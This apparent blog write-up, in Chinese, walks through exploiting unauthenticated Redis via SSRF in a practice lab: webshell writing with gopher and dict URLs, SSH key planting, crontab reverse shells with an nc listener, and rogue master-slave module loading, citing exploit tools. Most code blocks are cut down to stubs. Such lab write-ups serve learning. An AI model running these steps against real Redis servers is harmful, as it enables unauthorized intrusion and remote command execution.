条件:
能未授权或者能通过弱口令认证访问到Redis服务器
RESP协议
Redis序列化协议,是Redis数据库用于客户端与服务端之间通信的一种简单、高效且具有广泛适用性的协议。简单来说,就是客户端通过RESP协议发送命令给Redis服务器,服务器处理后通过RESP协议返回结果给客户端。
基本格式
- 简单字符串(Simple String):以“+”开头,后面跟着一个字符串,用于表示状态信息或简单的文本回复,如“+OK\r\n”。
- 错误(Error):以“-”开头,后面跟着一个错误信息字符串,用于表示命令执行过程中出现的错误,如“-ERR unknown command ‘set1’\r\n”。
- 整数(Integer):以“:”开头,后面跟着一个整数,用于表示命令的返回结果是整数类型,如“:1\r\n”。
- 批量字符串(Bulk String):以“$”开头,后面跟着一个数字表示字符串的长度,然后是字符串内容,最后以“\n˚”结尾。如果字符串不存在,则用“-1\r\n”表示。
- 数组(Array):以“*”开头,后面跟着一个数字表示数组的长度,然后是数组中的元素,数组中的每个元素都是RESP协议支持的数据类型之一。数组用于表示多个值的集合,如命令的多个参数或命令的返回结果是多个值的集合。
redis命令
1 | 1. PING |
常见ssrf攻击方式:
- 绝对路径写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell
绝对路径写webshell
构造redis命令
1 | 1.设置web路径 |
靶场历险记1
靶场:https://github.com/mcc0624/SSRF
(换了无数次镜像源,终于拉取成功了)
工具:wireshark&tcpdump(kali自带)
1 | ip addr |
接口和ip地址
使用dict协议探测内网主机,利用burp爆破D段
dict://172.250.250.9:6379/info 可以查看redis版本信息
docker ps查看未授权redis容器的id
docker exec -it 01 bash 连接
到网站根目录,此时只有一个index.php文件
tcpdump抓取redis-cli的包
1 | tcpdump -i br-be9a386f1572 tcp and port 6379 -w redis.pcapng |
输入上述redis命令
结束抓包,用wireshark打开redis.pcapng
追踪流->tcp
构造gopher协议
根据规则进行替换和编码(注意?)notepad
1 | payload: |
之后再访问
1 | url=[http://172.250.250.9/shell.php](http://172.250.250.9/shell.php) |
利用gopherus生成payload
内容是一句话木马_后面还要再一次url编码,成功后访问shell.php
post传参即可
构造gopher协议脚本
1 | import urllib.parse |
利用dict协议
如果redis有认证,可以通过
dict://ip:6379/auth:密码 (密码使用字典爆破)
也就是说dict协议可以用来执行redis命令
注:dict中空格改为冒号 冒号会被解析为空格
1 | dict://127.0.0.1:6379/info |
由此可以看出,dict协议一次只能执行一行命令
写入ssh公钥
如果对方开启了ssh,可以尝试写入ssh公钥文件。从而进行ssh登录
1 | 1.在kali上生成私钥对 |
靶场历险记2
在kali上生成私钥对
id_rsa是私钥文件,id_rsa.pub是公钥文件
目标就是在目标主机创建一个authorized_keys文件,并把公钥内容写到目标主机下面
依旧是写入文件
成功写入
(靶机端口和ip地址)
不需要密码,也可以成功登入
crontab计划任务反弹shell
这个方法只能
Centos
上使用,Ubuntu上行不通
,原因如下:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行- 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis
权限,故写这个文件是行不通的
什么是crontab计划任务
crontab计划任务在Linux系统中是一种强大的工具,用于安排程序或脚本在特定时间自动执行。通俗地讲,crontab就像是你的个人电脑或服务器上的一个“定时闹钟”,但比闹钟更智能,因为它不仅能按设定的时间唤醒你(执行程序),还能在特定的日期、月份甚至星期几执行任务。
注:在写入计划任务前后要加上\n来进行换行,否则数据污染会导致计划任务无法执行
使用dict协议
1 | dict://172.250.250.9:6379/flushall 清除所有键值 |
使用gopher协议
1 | ufw allow 1234 |
1 | nc -lvp 1234 |
其他利用
主从复制getshell
什么是主从复制
Redis主从复制是一种数据复制和备份的方式,旨在将一个Redis实例(主节点)的数据复制到另一个或多个Redis实例(从节点)。
优点:
- 提升读取性能:通过读写分离,主节点写,从节点读。
- 数据备份和恢复:主节点出问题时,可以从从节点恢复数据。
Redis主从复制的原理
Redis主从复制的过程可以分为几个阶段:
- 初始化同步阶段:
- 从节点与主节点建立连接后,发送一个同步请求给主节点。
- 主节点接到请求后,会生成一份当前数据的快照(RDB文件),并将这份快照发送给从节点。
- 从节点接收到快照后,会加载这份快照到自己的内存中,从而实现数据的初始化同步。
- 增量复制阶段:
- 在初始化同步完成后,主节点会将后续接收到的写操作指令发送给从节点。
- 从节点接收并重新执行这些写操作指令,以保持与主节点数据的一致性。
- 持续复制阶段:
- 从节点会持续监听主节点的写操作指令,并按照接收顺序执行,以保持与主节点数据的实时同步。
1 | 这也是redis从ssrf到rce的核心: |
看一下主从复制的效果:
先在一个机器上开两个redis实例,一个端口为6379,一个端口为6380
6379端口已经配置好
1 | cp /etc/redis/redis.conf /etc/redis/redis-6380.conf |
把master_ip设置为127.0.0.1
,master_port为6380
即就是将当前redis实例(6379)作为6380的从节点,6380为主节点
没有test的键于是就设置一个test键,值为test,并退出
再连接从节点,发现存在test键,值为test
说明完成主从复制
如果想解除主从关系可以执行
SLAVEOF NO ONE
redis module
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
redis-rogue-server 工具:
https://github.com/n0b0dyCN/redis-rogue-server
工具介绍:
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。
有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。
然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。但是该工具无法输入Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
用到的项目:
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/xmsec/redis-ssrf/blob/master/ssrf-redis.py
将第一个的exp.so和redis-rogue-server.py以及第二个的ssrf-redis.py这三个文件放在kali的同一个目录下
ssrf-redis.py构造gopher协议,长这样 redis-rogue-server.py创建恶意redis服务器再将gopher协议打进去即可
参考文章:
浅析Redis中SSRF的利用 - 先知社区
跟着国光师傅学习SSRF
靶场:ssrf_vul/README.md at main · Duoduo-chino/ssrf_vul